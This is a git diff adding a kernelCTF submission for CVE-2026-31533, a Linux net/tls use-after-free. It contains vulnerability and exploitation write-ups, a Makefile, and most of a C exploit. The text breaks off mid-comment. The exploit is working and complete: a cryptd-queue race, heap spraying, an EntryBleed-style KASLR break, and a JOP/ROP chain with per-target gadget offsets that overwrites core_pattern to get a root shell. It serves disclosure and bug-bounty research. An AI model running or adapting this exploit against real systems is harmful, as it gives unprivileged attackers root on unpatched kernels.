diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/exploit.md new file mode 100644 index 000000000..eb53140ba --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/exploit.md @@ -0,0 +1,162 @@ +# CVE-2026-31533 — exploitation (LTS 6.12.77 and COS 121-18867.381.30) + +This document walks through how the use-after-free described in +`docs/vulnerability.md` is turned into a root shell. The exploit is data-flow +identical on both targets; only the per-target offsets differ. + +### Note on kernelXDK / libxdk + +This exploit's RIP control hands the attacker the controlled object in **R12** +(the cryptd completion is reached through a JOP gadget +`mov rax, [r12+0x40]; mov rdi, r12; ...; jmp rax`). The current `libxdk` +release (`libxdk/v0.1`) ships a stack-pivot database for these targets that +contains **no pivot keyed on R12** (its pivots cover RAX/RBX/RCX/RDX/RSI/RDI/ +RBP/R13/R14/R15, but not R12), so `PayloadBuilder` cannot generate the stack +pivot for this bug — `Build()` fails for `Register::R12` on both +`lts-6.12.77` and `cos-121-18867.381.30`. We therefore keep the original, +proven JOP stack pivot and ROP chain (which reproduce at 100%). The gadget +addresses are listed inline in `exploit//exploit.c` (see the +`exploit_gen()` comments) and explained below. If a future libxdk release adds +R12 pivots, the chain can be regenerated with `RopChain`/`PayloadBuilder`. + +## Objects, caches and fields + +| Object | Cache | Role | +| --- | --- | --- | +| `tls_rec` | `kmalloc-1k`-ish (size-bucketed) | the freed-then-reused victim; reached through TLS TX | +| `aead_request` / `crypto_async_request` | embedded in / referenced by the record | holds the `complete` function pointer that is called by the cryptd worker — this is the hijacked indirect call | +| netlink skb data (`sendmsg`/`io_prep_pwrite` on `NETLINK_USERSOCK`) | page-backed (kmalloc / page frag) | the **spray** object that reclaims the freed record and supplies the fake `complete` pointer + ROP payload | + +The controlling register at the hijacked indirect call is **R12** (it points to +the base of the reclaimed object on both targets). This is what the pivot is +generated from. + +## Step 1 — Trigger the vulnerability (sentinel corruption) + +See `docs/vulnerability.md` for the mechanism. Concretely the exploit: + +1. Binds `cryptd(...)` AF_ALG transforms to force kernel-TLS onto the async + cryptd path (`force_cryptd()`). +2. Prepares a TCP socket pair with kernel TLS (`TLS_TX`/`TLS_RX`, + `TLS_CIPHER_AES_CCM_128`). +3. Pre-creates a large pool of AF_ALG `op` sockets and AIO `iocb`s, plus a pool + of worker threads parked on a `pthread_barrier`. These are the cryptd-queue + saturators. +4. Crafts a pending TLS record and sets `sk->sk_err = EBADMSG` by having the + peer send invalid ciphertext and `recvmsg()`-ing it. +5. **Fires the race:** `io_submit()` bulk-fills the per-CPU cryptd queue, the + barrier releases the worker flood (`MAY_BACKLOG`) to keep it full, then a + `sendmsg()` with a `TLS_SET_RECORD_TYPE` cmsg pushes the pending record. The + encryption returns `-EBUSY`, the callback observes `sk_err`, and the + sentinel is double-decremented to 0. A non-`EAGAIN`/`EINPROGRESS` error from + the cmsg push is the success oracle. + +## Step 2 — Heap grooming and the use-after-free + +With the sentinel destroyed, `tls_encrypt_async_wait()` no longer waits. The +exploit: + +1. Drains/leaves phase-1 saturation, clears `sk_err` (`SO_ERROR` getsockopt). +2. Re-saturates a fresh cryptd queue. +3. Submits one more TLS encryption that is backlogged, then **frees the + `tls_rec`** (the close/free path runs without waiting for the still-pending + cryptd callback). The freed record is immediately **reclaimed** by a netlink + data spray (`io_prep_pwrite` of a controlled buffer onto an + `NETLINK_USERSOCK` socket). Because the reclamation happens at page + granularity, this also defeats `CONFIG_RANDOM_KMALLOC_CACHES` on the COS + target. + +When the cryptd worker finally processes the request, it calls +`crypto_async_request.complete` — now pointing into our sprayed buffer — giving +**RIP control with R12 = the controlled object**. + +## Step 3 — KASLR + +The exploit has no read primitive, so the kernel base is recovered with an +**EntryBleed-style prefetch timing side-channel** (`prefetchnta`/`prefetcht2` ++ `rdtscp`, majority vote across several rounds). The prefetch reduction is +selected at runtime from the CPU vendor (`detect_cpu_vendor()` via CPUID): on +Intel the mapped kernel text is the single minimum-time address, while on AMD +and virtualized/KVM hosts (e.g. the GitHub CI runners) it is the fine-grained +window with the highest aggregate time. This makes the same binary reliable on +the Intel kernelCTF remote and on AMD CI runners. The resulting base is fed to +the ROP chain. + +(The exploit declares `requires_separate_kaslr_leak: false` — it brings its own +KASLR break.) + +## Step 4 — Stack pivot + ROP chain (RIP → core_pattern overwrite) + +The hijacked `complete` call runs in a **cryptd kernel worker thread**, which +has no userspace frame — so `ret2usr`/`commit_creds`-then-return is not usable +here. Instead the exploit overwrites `core_pattern`, then triggers a userspace +crash so the kernel re-executes our binary as root. + +* **Pivot (JOP, from R12).** At the hijacked indirect call, `R12` points at the + base of the reclaimed object and the called function pointer + (`crypto_async_request.complete`) is at object offset `0x10`. That pointer is + set to a 2-step JOP gadget: + + ``` + step 1: mov rax, [r12+0x40] ; mov rdi, r12 ; pop rbp ; pop r12 ; pop r13 ; jmp rax + pivot : push rdi ; pop rsp ; … ; ret (rax = [r12+0x40] = obj+0x40) + ``` + + `step 1` loads the pivot gadget from `obj+0x40` and copies `r12` (the object) + into `rdi`; the pivot then does `push rdi; pop rsp`, landing `RSP` on the ROP + chain laid out from `obj+0x0`. The first ROP word is `add rsp, 0x10; ret`, so + the `complete` slot at `obj+0x10` is skipped by the chain. The exact gadget + addresses (per target) are in the `exploit_gen()` comments in + `exploit//exploit.c`. + +* **ROP chain.** The chain performs: + + ``` + _copy_from_user(core_pattern, "|/proc/%P/fd/666 %P", 0x14) (write core_pattern) + msleep(0x3b9aca00) (park the worker) + ``` + + i.e. `pop rdx=0x14; pop rsi=&pattern; pop rdi=&core_pattern; call _copy_from_user` + then `pop rdi=large; call msleep`. The trailing `msleep` keeps the corrupted + cryptd worker from returning into freed/inconsistent state, so the machine + stays alive after the overwrite while the helper child triggers the coredump. + +## Step 5 — Post-RIP: become root and read the flag + +`core_pattern` is set to `|/proc/%P/fd/666 %P`. A child process (forked early, +pinned to a different CPU) has fd 666 pointing at a copy of our own executable +(`memfd` + `sendfile` of `/proc/self/exe`). Once the exploit detects that +`core_pattern` changed, the child dereferences a NULL pointer to crash. The +kernel runs `/proc//fd/666` **as root**, passing the crashed child's PID as +`argv[1]`. + +The root re-exec (the `argc > 1` branch in `main`) uses +`pidfd_open()` + `pidfd_getfd()` to steal the crashed child's stdin/stdout/stderr +(which are the console), then runs `cat /flag`. The flag is therefore printed on +the serial console, which is exactly what the kernelCTF repro harness greps for. + +## Environmental / threading notes + +* CPU pinning (`sched_setaffinity`) is used so the saturation and the victim + encryption target the same per-CPU cryptd queue. +* The exploit is multi-threaded: thousands of `MAY_BACKLOG` worker threads keep + the cryptd queue full, released together via a `pthread_barrier`. AIO + (`io_submit`) provides the fast bulk fill. +* `RLIMIT_NOFILE` is raised/managed for the large fd pools. +* No user namespaces and no capabilities are required. + +## `--vuln-trigger` (KASAN) + +Running the exploit with `--vuln-trigger` performs only the vulnerability +trigger (corrupt the sentinel, then free the `tls_rec` with a cryptd callback +still pending) without KASLR, ROP or the heap spray, so a KASAN build reports +the use-after-free directly. This is the mode used by the `vuln-verify` +workflow to confirm the bug and that the patch fixes it. + +## Reliability + +The `exploit_repro` GitHub Action reports **100%** on both targets +(`lts-6.12.77` 10/10, `cos-121-18867.381.30` 10/10). The two non-destructive +failure modes are a KASLR side-channel mis-vote and losing the cryptd +saturation race; both simply mean "re-run". See `metadata.json` for per-target +stability notes. diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..80bf16ca0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/docs/vulnerability.md @@ -0,0 +1,107 @@ +# CVE-2026-31533 — net/tls use-after-free in the `-EBUSY` error path of `tls_do_encryption()` + +## Summary + +| | | +| --- | --- | +| **Subsystem** | `net/tls` (kernel TLS, software/`tls_sw` path) | +| **Bug class** | Use-after-free, caused by an improper reference-count / state update (CWE-911) | +| **Introduced by** | [`859054147318`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8590541473188741055d27b955db0777569438e3) — *"net: tls: handle backlogging of crypto requests"* (the fix for CVE-2024-26584), first shipped in **v6.8-rc1** and backported to the `6.1.y` and `6.6.y` stable trees. | +| **Fixed by** | [`a9b8b18364ff`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a9b8b18364fffce4c451e6f6fd218fa4ab646705) — *"net/tls: fix use-after-free in -EBUSY error path of tls_do_encryption"* (`Cc: stable`). | +| **Affected versions** | mainline **6.8 – until the fix**, plus the `6.1.y` / `6.6.y` stable branches that carry the introducing commit. Both kernelCTF targets in this submission (`lts-6.12.77`, `cos-121-18867.381.30`) are vulnerable. | +| **Requirements** | Unprivileged local user. **No** capabilities, **no** user namespaces. Needs `AF_INET`/TCP + kernel TLS (`CONFIG_TLS`) and `AF_ALG` (`CONFIG_CRYPTO_USER_API_SKCIPHER`, `CONFIG_CRYPTO_USER_API_AEAD`, `CONFIG_CRYPTO_CRYPTD`). | + +## Root cause + +`tls_do_encryption()` (`net/tls/tls_sw.c`) submits the record encryption to the +crypto API. Commit `859054147318` added handling for the `-EBUSY` return code +of `crypto_aead_encrypt()` (request placed on the cryptd backlog): + +```c +rc = crypto_aead_encrypt(aead_req); +if (rc == -EBUSY) { + rc = tls_encrypt_async_wait(ctx); /* wait for the backlogged request */ + rc = rc ?: -EINPROGRESS; +} +if (!rc || rc != -EINPROGRESS) { + atomic_dec(&ctx->encrypt_pending); /* (A) */ + sge->offset -= prot->prepend_size; /* (B) */ + sge->length += prot->prepend_size; +} +``` + +When the request is backlogged, the asynchronous completion callback +`tls_encrypt_done()` runs and **already** performs the cleanup: + +* it decrements `ctx->encrypt_pending` (via `atomic_dec_and_test()`), and +* it restores the scatterlist entry (`sge->offset`, `sge->length`). + +If `tls_encrypt_async_wait()` returns an **error** — for example because the +socket's `sk->sk_err` was set in the meantime — then `rc` is non-zero and not +`-EINPROGRESS`, so the synchronous path at `(A)`/`(B)` runs the *same* cleanup a +second time. This produces two distinct corruptions: + +### Bug 1 — double-decrement of the `encrypt_pending` sentinel + +`encrypt_pending` is initialised to `1` and used as a sentinel so that +`tls_encrypt_async_wait()` knows whether any async request is still +outstanding. The second `atomic_dec()` drives the sentinel to `0`. From then on +`tls_encrypt_async_wait()` (an `atomic_dec_and_test()` on a value that is now +`0` → wraps / returns true immediately) **stops waiting for pending callbacks**. + +This is the exploitation primitive: a later `sendmsg()` can free the `tls_rec` +through `bpf_exec_tx_verdict()` → `tls_free_open_rec()` while a cryptd callback +for that record is **still pending**. When the cryptd worker later fires the +callback, it dereferences and calls through the freed `tls_rec` / +`aead_request`, i.e. a **use-after-free with control of an indirect call** +(`crypto_async_request.complete`). + +### Bug 2 — double restoration of the scatterlist entry + +The same path restores `sge->offset`/`sge->length` a second time, so +`sge->length` ends up larger than `msg_encrypted->sg.size`. A later +`sk_msg_free()` then underflows its unsigned length accounting and crashes. This +is avoided in the exploit by laying out the `msg_encrypted` scatterlist via page +fragment alignment so the first element's length is exactly `sg.size`, letting +`sk_msg_free()` terminate cleanly and keeping the corrupted sentinel alive. + +## Triggering the vulnerability + +All steps are reachable by an unprivileged user: + +1. **Force async crypto.** Bind `cryptd(...)` AF_ALG transforms + (`cryptd(ctr(aes-generic))`, `ccm_base(cryptd(...),...)`) so the system-wide + crypto priority makes kernel-TLS use cryptd (returning `-EINPROGRESS`/`-EBUSY` + instead of completing synchronously). +2. **Saturate the cryptd queue.** Submit ≥ `cryptd_max_cpu_qlen` (default 1000) + crypto operations on the target CPU — here via a batch of `io_submit()` AIO + reads plus a flood of `MAY_BACKLOG` worker threads — so the next encryption + returns `-EBUSY`. +3. **Set `sk->sk_err`.** Have the TLS peer send invalid ciphertext and call + `recvmsg()`; the decryption failure sets `sk->sk_err = EBADMSG` + (`tls_err_abort()`). +4. **Push the pending record via cmsg.** `sendmsg()` with a + `TLS_SET_RECORD_TYPE` control message reaches `tls_handle_open_record()` + before the `sk_err` check; the encryption hits `-EBUSY`, the callback observes + `sk_err`, and the double-decrement fires — corrupting the sentinel. + +After the sentinel is corrupted, closing/freeing the record while its callback +is still queued yields the use-after-free. + +## Cause type + +Use-after-free (driven by an improper reference-count / state update). See +`docs/exploit.md` for how the UAF is turned into RIP control and a root shell. + +## Syscalls / interfaces involved + +`socket(AF_INET/AF_ALG/AF_NETLINK)`, `setsockopt(TCP_ULP="tls", SOL_TLS, …)`, +`sendmsg`/`recvmsg` (incl. `TLS_SET_RECORD_TYPE` cmsg), `io_setup`/`io_submit` +(libaio). No `io_uring`, no user namespaces, no capabilities. + +## Notes for blocking + +The vulnerable path requires the kernel-TLS software encryption path combined +with cryptd-backed async crypto. Blocking `AF_ALG` (`CONFIG_CRYPTO_USER_API_*`) +removes the attacker's ability to force the async/backlog path and thus the bug's +reachability. diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/Makefile b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/Makefile new file mode 100644 index 000000000..e3f144132 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/Makefile @@ -0,0 +1,25 @@ +# kernelCTF CVE-2026-31533 — exploit for target cos-121-18867.381.30 +# +# The exploit links against libaio (io_submit batching is used to saturate the +# per-CPU cryptd queue). The `prerequisites` target installs it; the kernelCTF +# CI runs `make prerequisites` automatically before `make exploit` if present. + +CFLAGS = -static -O2 -DTARGET_COS +LDFLAGS = -laio -lpthread + +all: exploit + +prerequisites: + sudo apt-get update + sudo apt-get install -y libaio-dev + +exploit: exploit.c + gcc $(CFLAGS) -o exploit exploit.c $(LDFLAGS) + +run: exploit + ./exploit + +clean: + rm -f exploit + +.PHONY: all prerequisites run clean diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit new file mode 100755 index 000000000..4d3898a4d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit.c b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit.c new file mode 100644 index 000000000..6ff56bacd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit.c @@ -0,0 +1,926 @@ +/* + * TLS-006 PoC: encrypt_pending sentinel corruption + * + * io_submit (1000 AIO) fills queue fast, then pthread_barrier releases + * 1100 threads (sync MAY_BACKLOG) to keep it full. cmsg push hits -EBUSY. + * sk_err set beforehand → double-decrement → sentinel lost. + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// core_pattern overwrite: crash a child to trigger payload + +/* + * Pivot type: jop + * Source register: r12 + * Step 1: kern_base + 0x12f40cd @ mov rax, qword ptr [r12 + 0x40] ; mov rdi, r12 ; pop rbp ; pop r12 ; pop r13 ; jmp rax + * Pivot: kern_base + 0x35795 @ push rdi ; pop rsp ; add dword ptr [rcx], 0x48 ; cwde ; ret + * Dispatch: place kern_base + 0x35795 at [r12+0x40] + * ROP chain starts at [r12+0x0] + */ + +#ifdef TARGET_LTS +#define OBJ_SIZE 0x100 + +// NOTE: place 20 bytes at user address 0x4141414141414141: +char pattern[] = "|/proc/%P/fd/666 %P"; + +void exploit_gen(uint64_t *obj, uint64_t kern_base) { + memset(obj, 0, OBJ_SIZE); + obj[0x0 / 8] = kern_base + 0x13ec5e; // ROP chain start | shift: add rsp, 0x10 ; ret (skip 0x10) + /* +0x10 RESERVED */ + obj[0x18 / 8] = kern_base + 0x3e8432; // pop rdx ; ret + obj[0x20 / 8] = 0x14; + obj[0x28 / 8] = kern_base + 0x538e; // pop rsi ; ret + obj[0x30 / 8] = (size_t)&pattern; + obj[0x38 / 8] = kern_base + 0x188a900; // shift: lea rsp, [rsp + 8] ; ret (skip 0x8) + obj[0x40 / 8] = kern_base + 0x35795; // dispatch[0] -> kern_base + 0x35795 + obj[0x48 / 8] = kern_base + 0xe70d; // pop rdi ; ret + obj[0x50 / 8] = kern_base + 0x3611700; // core_pattern + obj[0x58 / 8] = kern_base + 0xb7c9d0; // _copy_from_user + obj[0x60 / 8] = kern_base + 0xe70d; // pop rdi ; ret + obj[0x68 / 8] = 0x3b9aca00; + obj[0x70 / 8] = kern_base + 0x275970; // msleep + +} +#endif + +/* + * Pivot type: jop + * Source register: r12 + * Step 1: kern_base + 0xfeae7d @ mov rax, qword ptr [r12 + 0x40] ; mov rdi, r12 ; pop rbp ; pop r12 ; pop r13 ; jmp rax + * Pivot: kern_base + 0x4d4e1b @ push rdi ; pop rsp ; ret + * Dispatch: place kern_base + 0x4d4e1b at [r12+0x40] + * ROP chain starts at [r12+0x0] + */ + +#ifdef TARGET_COS +#define OBJ_SIZE 0x100 +// NOTE: place 20 bytes at user address 0x4141414141414141: +char pattern[] = "|/proc/%P/fd/666 %P"; + +void exploit_gen(uint64_t *obj, uint64_t kern_base) { + memset(obj, 0, OBJ_SIZE); + obj[0x0 / 8] = kern_base + 0x135ef86; // ROP chain start | shift: add rsp, 0x10 ; ret (skip 0x10) + /* +0x10 RESERVED */ + obj[0x18 / 8] = kern_base + 0x160db4; // pop rdi ; ret + obj[0x20 / 8] = kern_base + 0x2fb32a0; // core_pattern + obj[0x28 / 8] = kern_base + 0x6bfcc3; // pop rdx ; ret + obj[0x30 / 8] = 0x14; + obj[0x38 / 8] = kern_base + 0x155ac00; // shift: lea rsp, [rsp + 8] ; ret (skip 0x8) + obj[0x40 / 8] = kern_base + 0x4d4e1b; // dispatch[0] -> kern_base + 0x4d4e1b + obj[0x48 / 8] = kern_base + 0x27d8e6; // pop rsi ; ret + obj[0x50 / 8] = (size_t)&pattern; + obj[0x58 / 8] = kern_base + 0x9c01b0; // _copy_from_user + obj[0x60 / 8] = kern_base + 0x160db4; // pop rdi ; ret + obj[0x68 / 8] = 0x3b9aca00; + obj[0x70 / 8] = kern_base + 0x27a4c0; // msleep +} +#endif + +#define PAUSE \ +{ \ + int x; \ + printf(":"); \ + x = read(0, &x, 1); \ +} + +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + + +#define SERVER_PORT 7777 +#define AIO_COUNT 1000 +#define THREAD_COUNT 3000 +#define TOTAL_ALG (AIO_COUNT + THREAD_COUNT) +#define SOL_TLS 282 +#define TLS_SET_RECORD_TYPE 1 +#define KERNEL_DEFAULT_BASE 0xffffffff81000000UL + +static char g_buf[0x10000]; +static pthread_barrier_t g_barrier; + +/* ───────────────── Helpers ───────────────── */ + +static void pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + sched_setaffinity(0, sizeof(set), &set); +} + +static void force_cryptd(void) +{ + int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (fd < 0) err(1, "AF_ALG"); + struct sockaddr_alg sa1 = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + bind(fd, (struct sockaddr *)&sa1, sizeof(sa1)); + fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + bind(fd, (struct sockaddr *)&sa2, sizeof(sa2)); +} + +/* ───────────────── Drain thread ───────────────── */ + +struct drain_arg { + int op_fd; + int i; + pthread_barrier_t *barrier; +}; + +static void *drain_thread(void *arg) +{ + struct drain_arg *d = arg; + int x; + char out[4096]; + + pthread_barrier_wait(d->barrier); + pin_cpu(0); + + for(int i=0;i<0x10;i++) x = read(d->op_fd, out, 0x1000); + //printf("%d|",d->i); + return NULL; +} + +/* ───────────────── cmsg push (pre-built) ───────────────── */ + +static char g_cmsg_cbuf[CMSG_SPACE(1)]; +static struct msghdr g_cmsg_msg; +static struct iovec g_cmsg_iov; + +static void cmsg_init(void) +{ + memset(g_cmsg_cbuf, 0, sizeof(g_cmsg_cbuf)); + g_cmsg_iov.iov_base = (void*)0x41414100; + g_cmsg_iov.iov_len = 1; + g_cmsg_msg.msg_control = g_cmsg_cbuf; + g_cmsg_msg.msg_controllen = sizeof(g_cmsg_cbuf); + g_cmsg_msg.msg_iov = &g_cmsg_iov; + g_cmsg_msg.msg_iovlen = 1; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&g_cmsg_msg); + cmsg->cmsg_level = SOL_TLS; + cmsg->cmsg_type = TLS_SET_RECORD_TYPE; + cmsg->cmsg_len = CMSG_LEN(1); + *CMSG_DATA(cmsg) = 0x17; +} + +static int tls_push_via_cmsg(int fd) +{ + int ret = sendmsg(fd, &g_cmsg_msg, MSG_DONTWAIT); + return ret < 0 ? -errno : ret; +} + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + int x = read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666 %P", 0x13) == 0; +} + +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + + +/* ======================================================================== + * KASLR bypass via EntryBleed-style prefetch timing side-channel + * ======================================================================== */ + +/* + * The prefetch side-channel needs a different reduction depending on the + * micro-architecture / environment: + * - Intel (bare metal, e.g. the kernelCTF remote): the mapped kernel text + * stands out as the single MINIMUM prefetch time; coarse 16 MB steps work. + * - AMD and virtualized/KVM hosts (e.g. GitHub Actions CI runners): the + * signal is noisier and is recovered as the fine-grained (2 MB) window + * with the highest aggregate time. + * The method is selected at runtime from the CPU vendor (see + * detect_cpu_vendor()) so a single binary is reliable both on the Intel remote + * and on AMD CI runners. (Previously the Intel variant was hardcoded, which + * mis-detected the base on the AMD CI runner.) + */ +#define KASLR_SCAN_START (KERNEL_DEFAULT_BASE) +#define KASLR_SCAN_END_MAX (0xffffffffD0000000ull) +#define KASLR_SCAN_STEP_MIN 0x200000ull +#define KASLR_SAMPLES_PER_ADDR 16 +#define KASLR_MAX_ENTRIES ((int)((KASLR_SCAN_END_MAX - KASLR_SCAN_START) / KASLR_SCAN_STEP_MIN + 1)) + +typedef unsigned long long u64; + +/* 1 = GenuineIntel (single-minimum method), 0 = AMD/other (max-window method) */ +static int g_is_intel; + +static void detect_cpu_vendor(void) +{ + unsigned int eax, ebx, ecx, edx; + asm volatile("cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(0), "c"(0)); + /* vendor string "GenuineIntel" => ebx="Genu", edx="ineI", ecx="ntel" */ + g_is_intel = (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e); +} + +inline __attribute__((always_inline)) uint64_t rdtsc_begin(void) +{ + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end(void) +{ + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +void prefetch_addr(void *addr) +{ + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (addr)); +} + +size_t measure_prefetch_time(void *addr) +{ + size_t time = rdtsc_begin(); + prefetch_addr(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +size_t bypass_kaslr(void) +{ + const u64 scan_end = g_is_intel ? 0xffffffffD0000000ull : 0xffffffffc0000000ull; + const u64 scan_step = g_is_intel ? 0x1000000ull : 0x200000ull; + const int num_votes = g_is_intel ? 7 : 9; + const int window = g_is_intel ? 1 : 11; /* 1 => single-minimum method */ + const int n_entries = (int)((scan_end - KASLR_SCAN_START) / scan_step); + + static size_t times[KASLR_MAX_ENTRIES]; + static uint64_t scan_addrs[KASLR_MAX_ENTRIES]; + u64 base = 0; + + while (1) { + u64 vote_results[16] = {0}; /* num_votes <= 9 */ + + for (int vote = 0; vote < num_votes; vote++) { + for (int idx = 0; idx < n_entries; idx++) { + times[idx] = ~0UL; + scan_addrs[idx] = KASLR_SCAN_START + scan_step * (u64)idx; + } + + for (int sample = 0; sample < KASLR_SAMPLES_PER_ADDR; sample++) { + for (int idx = 0; idx < n_entries; idx++) { + size_t elapsed = measure_prefetch_time((void *)scan_addrs[idx]); + if (elapsed < times[idx]) + times[idx] = elapsed; + } + } + + if (window == 1) { + /* Intel: the mapped kernel base = single minimum time */ + size_t min_time = ~0UL; + int min_idx = -1; + for (int idx = 0; idx < n_entries - 1; idx++) { + if (times[idx] < min_time) { + min_idx = idx; + min_time = times[idx]; + } + } + if (min_idx < 0) + continue; + vote_results[vote] = scan_addrs[min_idx]; + } else { + /* AMD / virtualized: kernel text = window with max aggregate time */ + uint64_t max_sum = 0; + int max_start = 0; + for (int idx = 0; idx < n_entries - window; idx++) { + uint64_t sum = 0; + for (int w = 0; w < window; w++) + sum += times[idx + w]; + if (sum > max_sum) { + max_sum = sum; + max_start = idx; + } + } + vote_results[vote] = scan_addrs[max_start]; + } + } + + int count = 0; + for (int i = 0; i < num_votes; i++) { + if (count == 0) + base = vote_results[i]; + else if (base == vote_results[i]) + count++; + else + count--; + } + + count = 0; + for (int i = 0; i < num_votes; i++) { + if (base == vote_results[i]) + count++; + } + if (count > num_votes / 2) { + printf("[+] KASLR bypass (%s): kernel base = %llx\n", + g_is_intel ? "intel" : "amd", (unsigned long long)base); + return base; + } + + printf("[-] majority vote failed: base = %llx with %d/%d votes\n", + (unsigned long long)base, count, num_votes); + } +} + +static int vt_env(const char *k, int d) { const char *v = getenv(k); return v ? atoi(v) : d; } + +/* Arm one AF_ALG op fd with a pending encrypt (one cryptd request). Large data + * keeps the op in flight long enough for the burst to overflow the queue. */ +static void vt_arm(int op_fd) +{ + char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf, 0, sizeof(cbuf)); + struct msghdr msg = {}; + msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); + struct iovec iov = { g_buf, 0x10000 }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; + cm->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT; + cm = CMSG_NXTHDR(&msg, cm); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; + cm->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8; + sendmsg(op_fd, &msg, 0); +} + +static int vt_make_tls(int *client_out, int *server_out) +{ + int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + int flag = 1; + setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag)); + struct sockaddr_in addr = {}; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(SERVER_PORT); + if (bind(serv, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); return -1; } + listen(serv, 1); + int client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (connect(client, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); close(client); return -1; } + socklen_t sz = sizeof(addr); + int server = accept(serv, (struct sockaddr *)&addr, &sz); + close(serv); + setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls")); + struct tls12_crypto_info_aes_ccm_128 info; + memset(&info, 0, sizeof(info)); + info.info.version = TLS_1_2_VERSION; + info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info)); + setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info)); + *client_out = client; *server_out = server; + return 0; +} + +/* ======================================================================== + * --vuln-trigger: reach the use-after-free on a KASAN build, without KASLR, + * ROP or the heap spray. + * + * A finite burst of AF_ALG (MAY_BACKLOG) crypto ops momentarily overflows the + * per-CPU cryptd queue (cap = cryptd_max_cpu_qlen = 1000). With a pending TLS + * record and sk_err set, the cmsg push then hits crypto_aead_encrypt() == + * -EBUSY, the async callback observes sk_err and double-decrements the + * encrypt_pending sentinel; freeing the tls_rec while a callback is still + * pending yields the UAF that KASAN reports. Because the burst is finite, the + * queue drains afterwards so the backlogged op completes (no permanent hang). + * Tunables: VT_N (op fds), VT_DELAY (us after io_submit), VT_RETRY. + 